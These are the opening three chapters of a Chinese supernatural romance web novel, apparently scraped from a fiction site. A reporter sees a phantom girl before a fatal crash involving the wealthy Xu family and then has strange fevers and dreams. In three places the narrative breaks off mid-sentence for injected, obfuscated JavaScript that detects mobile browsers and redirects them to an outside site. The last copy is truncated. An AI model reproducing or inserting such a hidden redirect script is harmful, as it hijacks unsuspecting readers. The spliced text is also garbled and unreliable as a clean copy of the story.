《许总,我真不是你太奶》 1. 第 1 章 夜幕渐渐罩了下来,终于下班了! 原以为昨天刚从外地采访回来,今天可以早点回家休息,但谁能想到主任又犯病了,突然召集大家开了个会。 在难得的比较清闲的工作日,在临近下班的时候!而且又拖了半小时! 真是让人讨厌! 颜珺瑶无奈地叹了口气,突然想到那句话,天下竟会有如此厚颜无耻之徒。 脑子里闹出这句话的瞬间,忍不住噗呲笑了出来,情不自禁又重新弯起嘴角。 嘿,果然骂人能让人心情愉悦,即使只是腹诽,即使没有当着对方的面。 颜珺瑶乐呵呵地骑着自己心爱的小电驴,往家去。 出差几天不在家,妈妈早上打电话说今天会准备她最喜欢的莲子猪肚汤,让她晚上一定要回去吃饭。 自从两年前她进了电视台,成了都市频道《第一时间》栏目组的一名记者后,妈妈嘴上一直“嫌弃”着她的工作,觉得太忙太累,不太安全,但其实还是尊重亲闺女的想法,默默地支持和关心,特别是饮食方面,生怕她平日里饿到了。 天几乎黑了下来,远处的天幕上似乎还有几颗星星,被鳞次栉比的路灯抢去了风头,不甚明显,像是水面偶尔跳动的水珠。灯海璀璨,霓虹闪烁,车水马龙,许多色彩都变得稍显模糊,不易分辨。除了—— 余光似乎扫过一抹亮色,好像有什么不对劲—— 颜珺瑶眨了眨有些干涩的眼睛,往左前方再次看去,蓦地屏住了呼吸。 一个穿着亮黄色旗袍的三四岁小女孩,居然在下班高峰期,误入了车流中,独自一人在最靠左的车道上走着,完全没有意识到自己有多危险。 而就在此时此刻,一辆黑色轿车冲着那个小女孩就这么迎面驶去,不管不顾。 司机是瞎了还是疯了? 她下意识地停下电动车,冲着那个方向大喊了一声“有人啊!”,完全忘了这样的距离,这样喧闹的马路,那边压根听不到自己的声音,更何况还是在车里。 令她万万没想到的是,黑色轿车蓦地停了下来。 可一切都来不及了,车子已经直直地撞向了小女孩。 颜珺瑶摘掉安全帽,刚要往那边跑去,两道刺耳的,剧烈的碰撞声接连传入了耳中。 猝不及防。 她倏地震惊在原地,一时竟愣住了。 一辆老年代步车,一辆中型货车,还有那辆黑色轿车,三车连撞。 非常严重的车祸,现场一片混乱,交通很快堵塞。 可还没等颜珺瑶反应过来,心头传来一阵阵刺痛,像是有人用力地攥住了她的心脏。双耳瞬间耳鸣,只剩下好似金属摩擦的高频声。 很快,她感觉喘不上气,眼皮一沉,浑身瘫软,不省人事。 * 等到再次睁开眼睛的时候,颜珺瑶看到一片素白的吊顶天花板,十分陌生。 而身旁站着的一名年轻护士正在换架子上的药瓶,哦,原来自己是进了医院。 她有些恍惚,一时半会儿竟然有些想不起来发生了什么,只记得自己是在回家的路上,然后就到了这里。 头疼。 她是真的头疼。 “请问我——” 颜珺瑶的话还没说完,护士听到她的声音,有些激动道:“啊,你醒了呀,那就好!” 护士把新药瓶挂好,一面又继续道:“你是救护车拉来的,昏迷了都,现在醒了就好。” 闻言,颜珺瑶蹙起眉头,又不禁揉了揉太阳穴,慢慢回忆了起来。 看来是哪个好心人看到她晕倒,帮她打了120,把她送来了医院。 离开病房之前,护士解释说刚刚颜珺瑶的手机连续响了两次,她担心吵到其他病人,就给接了,简单说了她的情况。 颜珺瑶赶紧拿过手机,果然有不少未接来电和信息,有妈妈的,也有师傅江成的,好友张熙杰的。 她先给妈妈回了电话,借口要帮即将结婚的好朋友布置新房,搪塞了过去,又说了晚上在好朋友家过夜不回去,老妈也没有怀疑,只是嘟囔了一句,也不提前说一声。 幸好护士帮自己接的那通电话不是妈妈的,否则就瞒不过去了。 陆续给师傅和张熙杰回电话,但两人的都没接。很快,她反应过来,应该是在忙着报道那起车祸。 手机屏幕刚熄下去,一位中年医生和刚才那位护士进了病房,径直来到颜珺瑶的病床前,询问她的状况。 颜珺瑶将自己昏迷前的情况说了,不过现在除了头还有点疼之外,其他的症状倒是没有了。她挺疑惑的,自己从小到大身体都挺好的,定期体检,心肝脾胃肾什么的,都没啥毛病,怎么刚刚突然就出现那些情况了呢? 医生解释说头疼可能是倒地时撞到了头,至于其他问题,需要做下检查。又嘱咐了几句之后,医生护士离开病房,颜珺瑶的手机又响了起来。 是师傅江成。 颜珺瑶赶紧接起,正要简单地解释了一下自己的情况。江成已经从护士那里知道了她进医院的事,也就没再多问,一接通就问她在哪个病房。 她有些发懵,还没来得及解释自己进医院的原因,师傅就说要过来看她,因为他们刚好就在医院。 所以刚刚那起车祸的受伤人员也都送到了这家医院?哦,也对,省立医院离车祸现场是最近的。 * 结束通话没多久,师傅江成就带着张熙杰,吕嫣,还有摄像李逸飞,快步地进了病房。 江成率先开口,“怎么突然就在马路边晕倒了,是不是最近太累了?还好被人及时发现,送来这里。” 吕嫣忙不迭点头,“是呀是呀,怎么回事呀?” 颜珺瑶嘴角弯了弯,随即解释道:“我也不知道怎么回事,当时正骑着电动车,就看到了对面发生车祸,紧接着就晕倒了。” 摄像笑了起来,“你胆子太小了,都当了这么久的记者,什么场面没见过,怎么还被车祸吓到了,这样要被同行笑话的。” 张熙杰用胳膊肘捅了下李逸飞,让他少说点。 颜珺瑶轻轻摇了摇头,她知道自己不是被吓到的。 “我好像看到有个——对了,师傅,车上的人是不是也送到了这家医院?” “嗯,现在还在抢救。” “当时具体是什么情况呢?” 张熙杰拧开一瓶矿泉水,塞到颜珺瑶手里,“目前来看,应该是代步车司机突发心梗,车辆失控,货车为了避开代步车,撞到了那辆黑色的。” 吕嫣神秘兮兮地凑到颜珺瑶跟前,“你知道不,那三辆车,其中一辆里头坐着的是许氏的总经理。” 颜珺瑶一愣,“那辆黑色轿车?” “嗯嗯,”吕嫣瞅了一眼隔壁床侧身在睡觉的病人,还是低声道:“那个许氏家族哦!” 许氏家族,百年望族,却又十分低调。本市很多人都知道,颜珺瑶自然也听说过。 “哎——”摄像忽然叹了口气,又道:“要是没抢救过来,他儿子连父亲的最后一面都见不上了。” 江成瞅了一眼李逸飞,李逸飞笑呵呵地闭了嘴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942921|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没再多说。 颜珺瑶眨了眨眼,下意识问道:“谁的儿子?” 吕嫣解释:“就是这位许总的儿子啊,听说还在外地出差,还没赶过来呢!还有那个货车司机,不是本地人,家人好像都在外地,好可怜呀!” 李逸飞没忍住,又开口了:“许家人不让拍,不让媒体上去。”他转头看向江成,“老江,我们还要等那个小许总过来吗?” 江成清了清嗓子,顿了顿才道:“我之前见过这个小许总,他比他父亲更低调。现在这个节骨眼,不可能会接受采访的。” 李逸飞又叹气,“真是倒霉啊,流年不利!” 就在这时,刚才那位护士又进来了,将医生开的检查单子交给了颜珺瑶,又委婉提醒几人不要待太久,影响病人休息。 江成见状,便站了起来,嘱咐颜珺瑶好好休息,并让她明天好好休息,他会帮她请假。 * 几个人刚离开病房没多久,张熙杰就去而复返,手上提了两碗面,还有一些水果点心,以及洗漱用品。 快八点了,颜珺瑶已经饿过头,本来没啥感觉,但一看到食物,饥饿感立即就涌了上来,双眼一亮,笑嘻嘻地接过盒子,打开盖子,大口地吃了起来。 张熙杰坐在病床边上陪她一起吃,看到她的吃相,有些忍俊不禁,还是和小时候一样。只要饿得狠了,吃饭时,两只眼睛就像探照灯一样,特别亮。 吃完面,颜珺瑶心满意足,觉得自己能量满格,立马就能出院,连检查都不用做了。 掰了一根香蕉递给张熙杰,又慢条斯理地给自己剥了起来,颜珺瑶就听张熙杰说道:“你又没告诉叔叔阿姨?” 颜珺瑶摇头,笑眯眯道:“医生说我没啥大问题,只是有些轻微脑震荡,其他检查要是都正常,明天上午就能出院,省得他们担心我。” 说完咬了一口香蕉,嗯,真甜。 张熙杰无奈地叹了口气,拿起床头柜上的检查单子翻了翻。 “等这瓶滴完,我陪你去做检查。” “嗯,好啊!” * 做完检查,回到病房,里头的灯已经关了,隔壁床的病友睡着了。 颜珺瑶简单地洗漱一番,轻手轻脚地上了床,闭上眼,却没什么睡意,脑子里一直闪过傍晚时目睹的车祸场景。 不知道那些人有没有抢救过来,那个小女孩—— 当时那辆黑色轿车丝毫没有减速,她能活下来吗? 总觉得似乎哪里有些不对劲,但一时之间也想不起来。 渐渐地,困意上来了。 就在她快要睡着之时,突然被一阵动静惊醒。 是楼下的声音。 隔壁床的病友大概也是被吵到了,翻了个,咕哝了一句什么,就又睡过去了。 颜珺瑶起身走到窗边,往外看去,只见三辆车子停在了楼下不远处,很快就有许多媒体记者举着长枪短炮地蜂拥上去。车上先是下来好几个男人,拦住了那些记者,看样子应该是保镖。而后从中间那辆车上又下来了一个人,站在那些记者面前,不知道说了什么,但很快那些记者都离开了。 这些是许家的人? 八成是了。 等到处理好这些记者,第二辆车上再次下来了一个年轻男人,身形颀长,大步流星地走向了住院楼。 看来这一位就是那位许总的儿子,小许总了。 只是看不清脸。 哦,许家最年轻的一辈。 颜珺瑶收回目光,抬头看了看天花板,缓缓地笑了。 2. 第 2 章 显示屏上的数字在规律地跳动,电梯在畅通无阻地往上移动。 颜珺瑶下意识地摸着手上的住院手环,抬头盯着显示屏。 距离车祸发生已经差不多过去六个小时了,如果人没死,抢救手术结束了吗? 她挺好奇的。 “嘀”一声,八楼到了。 出了电梯,寂静扑面而来,似乎落针可闻。 颜珺瑶不禁放轻了脚步,没走两步,就听到几句刻意压低的说话声以及压抑的啜泣声。 她莞尔,继续往前,还没来得及拐弯,一名护士蓦地出现在她面前。 两人差点撞上对方,彼此都吓了一跳。 护士长舒一口气,刚要绕开,却倏地定住了步子。 她瞥了一眼颜珺瑶的手腕,啧了一声,才说道:“哎呀,时间很晚了,这上面都是手术室,你赶紧回病房啊!” “手术结束了吗?”颜珺瑶恍若没听见对方的话。 护士打量了颜珺瑶一眼,以为她和手术室里的人认识,于是回道:“没呢,你赶紧回去,这儿不让随意上来的。” 颜珺瑶轻声笑了笑,没说好,也没说不好。就在这时,衣兜里的手机响了。 她一个机灵,整个人似乎才从梦里清醒过来,竟有些糊涂,自己怎么就上来了呢? 电话是张熙杰打来的,说是回去之前,打算去病房再看看她,结果发现人不在,所以才打电话问她这么晚去哪里了。 “八楼。” 张熙杰松了一口气,“这么晚你怎么上去了,许家不让采访的,你等着,我马上就到了。” 重新把手机放回外套兜里,颜珺瑶瞥了一眼不远处的护士站,刚才那名护士也正好看了过来。 她抢在护士再一次重复之前保证道:“我马上下去。” 说完就转身走了,正好电梯也到了,出来的正是张熙杰。 对方见她没什么事就放了心,只是无奈摇头,“你真是吓我一跳——回去吧!” 颜珺瑶不知道该怎么跟张熙杰解释这件事,因为她自己也不清楚为什么会上来。明明她没有这个打算,可她似乎就是控制不住自己,像是被人操控了一样。 难道是把脑子撞出毛病了?可医生都说了只是轻微脑震荡,头疼也在减缓,不应该啊! 算了,明早起来再看看什么状况,自己瞎琢磨也琢磨不出个所以然来。 说不定明天就一切正常了。 * 一夜好眠,没再做什么奇怪的梦。 第二天早上醒来,颜珺瑶觉得自己肯定是完全恢复了,精神特别足,就算空腹跑个一千米估计也没啥问题。 吃过早饭,回病房的路上经过护士站,犹豫了两秒,而后向一名年轻护士打听昨天车祸的几个人怎么样了。 护士瞧了瞧颜珺瑶,说道:“老人和司机都没了。” 那看来那位许氏的总经理抢救过来了。 “那那个小女孩呢?” 护士奇怪地瞅了颜珺瑶一眼,“哪来的小女孩?” 颜珺瑶一怔,随即想到了什么,又问:“昨天车祸的伤员都送到这里了吗?” “是啊——”话音未落,护士便不再搭理她,去忙自己的事了。 这怎么可能呢? 昨天自己明明看到那个小女孩被许家的车子撞到了,按照当时的车速,小女孩不可能安然无恙。 可怎么会没有那个孩子呢?自己确确实实亲眼所见。 难道那个孩子的家人将她送到了其他医院呢?也不太可能,危急时刻,一分一秒都要抢,怎么可能舍近求远? 还是大半夜把孩子转走了? 她立马用手机搜索昨晚的车祸新闻,报道里赫然写着四名伤员,老人,货车司机,许氏的总经理及其司机,而且也没提到许家车子有撞到人的情况。 所以真的没有那个小女孩?! 那自己看到的到底是什么? * “站在这里做什么呢?” 张熙杰的声音,拉回了颜珺瑶的思绪。 她挤出笑容,摇了摇头,“没——没事。” “怎么这么早就起来了,不多睡会儿?哎——咋了?” 张熙杰话还没说完,就被颜珺瑶拉到了一个没人的角落,而后就那么定定地看着他。 张熙杰被她看得有些莫名,问她到底怎么呢,是不是出了什么事。 颜珺瑶不答反问,眼神无比认真,“熙杰,昨天车祸的伤员都有谁?” 四个男性。 这个答案在她的意料之中,可她还是不死心,继续问道:“没有一个小女孩吗?” “没有。我们单位离现场不算远,到的比较早,我可以确定没有什么小女孩。”张熙杰语气十分肯定,“你怎么突然问这个?” 颜珺瑶的脸色一下子白了,兀自喃喃,“可我怎么看到了呢?” 张熙杰愣了下,随即安慰道:“也许是你最近太累了,或者是昨天被吓到了,所以产生了错觉。先不要多想,要不等会儿问问医生?” 不,不是错觉。 她最近身体挺正常的,而且看到那个小女孩也是在车祸发生之前,不可能是因为被车祸吓到而产生错觉。 自己不是会见鬼了吧? 颜珺瑶被自己的想法吓了一哆嗦,赶紧整理好心绪,让自己不要多想。 “估计是被吓到了,不过今天感觉好多了,中午应该就能出院。对了——” 她转移话题,“你们今天还是会很忙吧?” 张熙杰点点头,突然压低了声音,“听说昨晚四个伤员,只有许家的那个司机活下来了。” 嗯?护士不是说—— 颜珺瑶眉心微动,“那个许总也没了?” “嗯,还不能百分百确认,但八九不离十。不过许家应该不会这么快让外界知道这个消息。” * 诚如颜珺瑶所想的那样,检查结果一切正常,医生查房时告诉她上午就可以出院。 虽然小女孩的事情着实把她吓到了,但迈出住院楼大门的那一瞬间,一切就都晴空万里了。 到停车棚找到了自己的电动车,简单查看了一下,除了左边的后视镜碎了,其他都好好的。多亏了那个做好事不留名的大姐,不仅帮她拨打了120,还把她的电动车骑了过来。 要是没有她,估计自己的这辆车子应该会被人顺手骑走了。 骑上电动车回了自己的住处,颜珺瑶做的第一件事情就是痛痛快快洗个热水澡,然后直接躺到床上,睡了过去。 午觉醒来,已经五点了,大概是睡得太久了,颜珺瑶居然觉得有点累,精神提不起来。她赶紧用冷水洗了把脸,收拾收拾,就下楼去打车。 昨晚本来答应了爸妈回去吃饭,结果让两人白费了一番心思,又空等了那么久。自己确实有将近十天没回去和爸妈一起吃饭了,既然领导批了假,那她就好好休息,再陪陪爸妈。 到了家里,钱艺文已经从学校回来了。嘴上虽然埋怨颜珺瑶昨晚电话一直打不通,但两只眼睛却仔细地打量着她,最后勉强得出结论,这次看着倒是没瘦,就是脸色不够红润。 颜珺瑶赶紧岔开话题,拉着老妈进了厨房,要给她打下手。没多久,颜志华也下了班,跟着挤进了厨房。三个人一起动手,莲子猪肚汤又是提前定时就炖上了,所以很快就做好了。 瞧着桌子上的四菜一汤,可真是色香味俱全。颜珺瑶看得口水直流,拿起筷子大快朵颐,还不忘跟爸妈贫贫嘴。 晚饭过后,一家三口坐在客厅一边看电视,一边吃水果。颜珺瑶刚吃了两口就开始犯困,最后捏着那把叉子,脑袋歪在沙发上,眼皮一沉。 在遁入梦境前,她突然觉得今天自己可真能睡啊! 钱艺文扭头瞧见,便轻声把她叫醒,让她回房去睡。颜珺瑶迷迷瞪瞪地睁开眼,也听不清楚爸妈都说了什么,下意识地回了一声“嗯”,就回了房间。 * 大半夜,颜珺瑶被自己“烫”醒了。浑身滚烫,连鼻子出的气都有些灼热。 她意识自己这是发高烧了,估计温度不会低。 下了床,去客厅找了一粒退烧药吃了,再次躺到床上,很快就又睡了过去。 翌日一早,闹钟吵醒了颜珺瑶,她愣了片刻,很快想到什么,赶紧摸了摸自己的额头,体温似乎正常。 嘿,看来退烧药效果不错。 既然已经退烧了,颜珺瑶就没将事情告诉爸妈,如往常一样,吃过早饭就去上班了。 可到了单位不到两小时,她才知道早起时,是自己高兴的太早了。 因为她复烧了。 整个人浑身无力,难受,只能趴在办公桌上,最后还是张熙杰开车把她送到医院,在门诊打了点滴才退了烧。 颜珺瑶再次得到了一天的假,又蒙头睡了一下午,令她难以想象的是,这居然只是个开始。 接下来的两天,她不断地发烧,退烧,又发烧。 被折腾地实在没了脾气,第三天颜珺瑶去医院挂了号,做了检查,可结果却都是没问题。这倒是令颜珺瑶稍感欣慰,可她也不敢完全放心。 事实证明,她的想法是对的。 这种反反复复的状况又持续了两天,颜珺瑶担心自己再这么下去,早晚会被烧傻,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942922|177440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好把情况告诉了爸妈。 回到家里之后,又是中药,又是西药,就这么中西结合的吃了三天,也闷头睡了三天,最后总算是稳定了下来。 爸妈让颜珺瑶再请一天假,之后就是清明节假期,连着几天在家好好休息,把身体调理好。 因为这场病,颜珺瑶已经请了好久的病假了,说实话,她是真的有点不好意思再开口,但她不敢大意,只能拨通了主任的电话,颇为忐忑地提了。 没想到主任居然很爽快地答应了,说是看了清明节值班表,这次没有轮到她,让她趁着假期好好养养身体,之后再回单位好好工作。 嘿,看来自己有失偏颇,王主任还是有不错的时候嘛! * 清明假期,往常父母都会回老家扫墓,今年也不例外。去年颜珺瑶因为假期值班,没去成,所以今年一定要回去。 清明节当天,一家人开车回了乡下,没多久大伯和二伯两家人也陆续都到了。 一众人上了山,因为前两天下了雨,地面有些泥泞,爷爷奶奶时不时就嘱咐大家要慢点走。 十几分钟之后,到了太爷爷太奶奶的合葬墓前,紧邻的是另一座墓,墓碑上只刻了四个字,恩人施氏。 两座墓看起来都有些年份了,特别是那座单人墓。 爷爷奶奶大致安排了一下,人多,再加上爷爷平日里偶尔也会过来整理,所以没花多少时间就拔完草,把两座墓打扫干净。 接下来是磕头烧纸钱。 爷爷奶奶先来到恩人施氏的墓前,跪下磕了头,后辈人都跟着照做,然后才开始烧纸钱。 颜珺瑶蹲在爷爷身边,有样学样地拿起一叠纸钱,用拳头在上面转一圈,让纸钱散开之后,再放到火里。 一旁的爷爷嘴里喃喃有词,“太太,我来看您了,谢谢您当年的救命之恩,才有了我们现在这一大家子人——” 颜珺瑶好奇,爷爷为什么会称呼这位恩人为太太呢? 爷爷笑呵呵地解释:“你太奶奶就是这么称呼她的,所以我就跟着叫了。” “你太奶奶当年第一次怀胎的时候,四五个月的时候不小心落了胎,身体给伤着了,去干活的路上晕死了过去。幸好太太的车子经过,把她送到了镇上的医院,还帮忙付了医药费,不仅如此,又给了她一笔钱,让她回家养身体。” 说到这里,爷爷无不感慨地叹了口气,“大善人啊!” 颜珺瑶点点头,确实是大善人,难得的大善人。 难怪太奶奶会在她过世之后,借了钱也要立衣冠冢来祭奠她! 可是衣冠冢里一般放的都是逝者的衣物,太奶奶和这位太太只见过一面,哪里来的对方的东西呢? 不过爷爷却很肯定,“是太太的衣服。” 放入最后一叠纸钱,快要熄灭的火势,再次有了死灰复燃的迹象,火花渐渐跳了起来,将所有纸钱烧成灰烬。 * 扫完墓,往山下走的时候,脸上开始跳动凉爽的触感。 颜珺瑶将手机屏幕朝上,果然,下雨了。 那些灰烬很快就会被雨水冲走,消失不见。 回到爷爷奶奶家里,一大家人一起吃了顿饭,之后赶在天黑前都回去了,而颜珺瑶留了下来。 这两天里,爷爷奶奶变着花样给她做好吃的,滋补的,她跟爷爷奶奶开玩笑说,自己的毛孔似乎在往外冒油。 这天吃过晚饭,奶奶被人叫去帮忙,只剩颜珺瑶和爷爷两人在家里。天色暗了下来,爷孙俩坐在院子里,一边喝茶,一边闲聊。 院门口过去一个人,颜珺瑶抬眼一瞥,是邻居的汤爷爷回家去了。 突然间,她想起了一件刻意被她忘记的事情。 清了清嗓子,状似随意地问道:“爷爷,这个世界上真的存在阴阳眼吗?” 爷爷喝了口茶,笑呵呵道:“是啊,肯定有。” 颜珺瑶视线一顿,神色微变,“那——那怎么知道自己是阴阳眼呢?” “就是经常能看到一些莫名其妙的,特别是晚上。” 心头一个咯噔,自己看到小女孩那天,时间是在傍晚,这——算是晚上吗? 可自己以前从没有出现这种情况,不应该是幻觉。 但如果那个孩子真的是人的话,为什么似乎只有自己看到了呢? 颜珺瑶默了片刻,“那有没有人不是阴阳眼,也能看到呢?” “有啊,大概是你爸爸两三岁左右的时候,村东头的李老头听说就是大半夜看到了不干净的东西,给吓死的。” 颜珺瑶只觉浑身的汗毛都起来了,还真的有? “他——他看到了啥?” 3. 第 3 章 颜珺瑶只觉浑身的汗毛都起来了,还真的有? “他——他看到了啥?” “我记得村东头那块很早之前是有一座祠堂的,但因为村里又选了一处好位置,筹钱重新建了一座,所以之前那一座祠堂就年久失修,渐渐荒废了。这个李老头喜欢喝酒,那天晚上好像就是和别人一起去喝酒的,晚上回家经过那座旧祠堂的时候,突然听到里头居然有敲门声。 里头没人,怎么会有敲门声呢?李老头就凑到门前去听,没啥声响,他觉得是自己听错了。可等他一走开,敲门声就又出现了。李老头反复试了几次,都是这样,他就怀疑里头有人故意在吓他。于是打算推开大门进去,仔细瞅一瞅。 可大门刚被他推开一条缝,就立马从里头被重重合上,而且还死死地抵着门。李老头就更相信是有人在里头,就一直使劲将门往里推。结果突然间里头没了劲儿,李老头直接摔了进去,发现啊,里头根本就没人,而且门栓也早就朽了。李老头吓出一身冷汗,刚站起来,门就又被合上了,把他关在了里面,怎么都打不开门,第二天天亮的时候才从里头跑了出去。回到家里人就有点不行了,开始说胡话,不到一个月就没了。” 颜珺瑶听得一愣一愣的,没想到自己从小到大生活的村子里还真的有这样的事情。消化了好一会儿,有些踟蹰地问道:“这个李爷爷——是不是干过什么——坏事啊?” “哎,他倒是没有,李老头除了爱喝点酒,人还是挺不错的,不过他爷爷做过。” “李爷爷的爷爷?” “李老头的爷爷曾经是大户,旧祠堂就是他爷爷出钱建的,为村里做了不少贡献。但他爷爷脾气不好,据说是活活打死过好几个丫鬟。” “……”所以这是自己做了损阴德的事,最后报应在了子孙身上? “那——除了这种情况,还有什么样的人会看到那些呢?” 爷爷笑起来,似乎是觉得她在明知故问,“还能是什么样的人,流年不利的——” 老爷子一顿,看向孙女,“孩子,你是不是遇到什么事了?” “没,没有,”颜珺瑶赶紧摇头,又给爷爷添了茶,“我就是好奇问问,好奇。” * 第二天一大早,颜珺瑶刚吃过早饭,就注意到奶奶拿着一张黄符,擦了火柴点燃,然后在一个白色的小瓷碗上头绕着圈,嘴里念念有词,最后把符灰放入了碗里,再用筷子搅了搅。 她看了看爷爷,正要开口问问奶奶在干嘛,结果奶奶就端着那个小瓷碗,递到了她的面前。 “瑶瑶,你把这个喝了,保平安的,你爷爷一大早去求的。” “……”符灰水,能喝吗? 颜珺瑶舔了下唇,接过了碗,一闻,居然是白酒,根本不是水。 而且这冲劲,度数应该不低,估计是爷爷珍藏的好酒。 只是——这——非得喝吗? 且不说她没酒量,只说这灰,她也有点不好接受。 在爷爷奶奶殷切的目光下,颜珺瑶只好试着抿了一口,直接咳了起来。 难以下咽,这酒到底多少度啊? 奶奶让她捏着鼻子慢慢喝,颜珺瑶勉强又尝了一小口,整个胃都要烧起来,从嗓子一路到胃都难受。 爷爷见状,只好不勉强她了。 颜珺瑶松了一口气,以为真的不用喝了。结果中午吃饭的时候,奶奶单独从厨房盛了一碗鸡汤放在她的桌前,笑眯眯地对她说:“你爷爷问了你汤爷爷,说是混着汤喝,效果是一样的。” “……哦——”所以这一碗鸡汤里是混了符灰的。 算了,喝吧!要是自己真的是撞邪了,那汤爷爷给的符肯定有用。 端起碗,一口气把鸡汤给喝了。 * 夜色浓稠,窗外的夜空特别干净,一轮明月,伴着几点疏星。 明天是个好天气。假期的最后一天,马上就要回去上班了。 关上灯,月光就洒了进来,竟不像是深夜。 农村的夜,格外寂静,几声唧啾虫鸣,更让人心里一片舒心。 颜珺瑶躺在床上,脑子中一幕幕晃过最近发生的事情,车祸,小女孩,医院—— 那个小女孩。 如果她真的是鬼魂的话,那就可以解释为什么只有自己看到她。 等等,等等—— 她突然意识到一个问题,许家那辆车当时为什么突然停下呢?要是她没记错,那个路段正常情况下是不允许停车的,更何况是在下班高峰期。 如果当时许家的车子没有停下的话,按照车子当时的速度,应该是能躲开那场车祸的。 有没有一种可能,那就是——那辆车子里的人和她一样,也看到了那个小女孩,所以才停的车? 如果果真如此的话,难道那个孩子是冲着许家去的,只是刚好这一切被正好倒霉的自己给瞧见了? 朦胧间,那两起车祸的画面,又出现在眼前,即使过了这么久,也依然让她震惊,恐惧。 但很快,车祸现场悄然撤去,转而只剩黑黢黢,到处都是黑黢黢,雾蒙蒙。 她莫名感到心慌,同时又安慰自己,闭上眼睛肯定是黑的,没什么好害怕的。 对,没什么好害怕的——不对——不对—— 不止黑色。 在黑色的背景下,那抹亮色尤为引人注目。 那是什么颜色?香槟色? 颜珺瑶眯着眼,试图看清到底是什么,雾气渐渐消散,不知过了多久,她终于看清了。 一个年轻女人。 一个穿着香槟色旗袍,挽着头发,婀娜妩媚的漂亮女人。 她心跳如鼓,因为她竟然觉得这个女人有些眼熟。 这张脸,她似乎在哪里见过。 还未等她想起来,一声呢喃软语入耳来。 “君平——” 是眼前这个旗袍女子在说话,婉转缱绻,无限爱意。可颜珺瑶瞬间头皮发炸,她想要转身跑掉,却忽然发现自己居然无法动弹。 她焦急万分,想大喊,却也失了声,拼尽全力试了一次又一次,终于她喊了出来。 “啊——” 猛地睁开眼,这才发现自己刚才只是做了个噩梦。 颜珺瑶缓了口气,在床上坐了起来,就着窗外透进来的月光,抽了纸擦掉额上沁出的汗。 拿起手机一看,十二点刚过,自己没有睡多久。 想了想,她又重新开了灯,眯眼的瞬间才感到安心。 刚刚那是噩梦吗?好像也算不上噩梦,也就是让她感到惊恐。 那张脸—— 她蓦地意识到了什么,瞪大了双眸,不禁将身上的被子拉高。那个女人,居然和自己长相相似,她——她是谁? 不仅如此,印象里自己做梦就算能记得住梦到了什么,可似乎都没有注意过梦里有什么颜色。以往的梦仿佛是旧时代的黑白影像,而刚刚这个梦,却色彩鲜明,她能明明白白地有了这么一个意识,那件旗袍就是香槟色的。 还有,旗袍女子喊的“君平”,又是谁? * 假期最后一天,颜珺瑶起了个大早,和爷爷奶奶一起吃早饭时,想到昨晚那个奇怪的梦,忍不住问爷爷奶奶是否认识什么人叫君平的。 老两口都摇头说不认识,而且认为这个名字像是老一辈的读书人会起的,他们小时候没几个人会有这么文雅的名字。 颜珺瑶觉得爷爷奶奶说的很对,可她也压根不知道什么君平。最让她不安的还是那个旗袍女人,自己为什么会梦到她?又为什么自己和她长相相似呢? 难道她是想托梦告诉自己什么,或帮她完成什么心愿? 可她除了一个名字之外,什么都没说。 真是让人头疼! 换做是以前做了这样一个梦,那做梦就做梦吧,反正她经常做梦,她可能很快就忘了,最多就是怀疑自己想穿旗袍却不自知。 但最近这段时间她没法不多想,自从目睹了那场车祸,以及又看到了别人都没注意到的孩子,再有之后的那些莫名其妙的事情,她真的是怀疑自己是走背运了,所以才突然能看到那些。 不,不是怀疑,而是非常肯定。 幸好自己听话喝了那碗汤,汤爷爷的厉害她是了解的,自己一定会慢慢好起来的。 * 许修远先是接到医院的电话,紧接着又接到老宅张阿姨的电话,说是爷爷匆匆忙忙地从医院离开,回了家里,还叫来了毕老先生的徒弟,赵敬鸿。 毕老先生几十年来一直都是爷爷十分信任的所谓高人,赵敬鸿是老先生的徒弟,之前去过老宅,许修远见过几次。 爷爷向来笃信阴阳风水,这次突然回家,又请了赵先生,估计又是这方面的原因。他虽然是无神论者,但尊重爷爷的想法和做法,从不加以干涉。 可今天不行。 父亲不幸车祸离世,晚年丧子,白发人送黑发人,爷爷受不了如此巨大的打击,直接倒在了医院。这几天一直在住院,虽然身体底子不错,不过到底年纪大了,医生一直嘱咐要多观察几天。 他倒是好奇,老宅能是出了什么情况,让老爷子不顾自己的身体,也要提前离开医院回去。 许修远开车回到老宅,不见爷爷,老管家宗叔也不在楼下,一问才知道,老爷子一回来就直奔三楼而去。 要说三楼有什么特别的,其实也没什么不一样的,但唯独有一个房间,自他有记忆以来,就一直都是锁着的,谁都不被允许进入,包括他和爸妈。 从小到大,他就知道爷爷对那个房间特别讳莫如深。小时候他好奇问过,爷爷罕见地对他拉下了脸,让他不要多问,不要好奇,更不能进去。 所以现在,这三个人应该就在那个房间。 张阿姨和顾阿姨两人在厨房忙着准备晚餐,许修远正要去叫张阿姨再问问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 